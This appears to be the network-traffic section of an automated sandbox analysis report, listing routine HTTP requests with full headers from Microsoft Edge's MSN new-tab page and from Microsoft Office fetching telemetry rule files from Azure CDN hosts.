Source: global traffic	HTTP traffic detected: GET /b2?rn=1731351140832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=11F7061775776D430B031323746E6C70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=137876f61be90b8575f890d1731351142; XID=137876f61be90b8575f890d1731351142
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=11F7061775776D430B031323746E6C70&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0a39de60b65c40b7f7815e4cd3c9b88a HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731351140832&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dd40ff516ac54a66b0e25d85eb9c3226&activityId=dd40ff516ac54a66b0e25d85eb9c3226&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0A49129BE96840A293F384488AC697A4&MUID=11F7061775776D430B031323746E6C70 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=11F7061775776D430B031323746E6C70&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=af0f87d6f6a245f8cee0bbbab2ef03b5 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731955938&P2=404&P3=2&P4=IhFeR4yDznl2Eozu1%2f%2ffU%2foi9h1kiI6H1mkSZ9nh1J8o6aBYo%2bmi0Q3g%2bS75DseTjn395wgCZ%2fC3oinyJJ8OBA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: OK+cgAiPWHslfBra5MeXgcSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
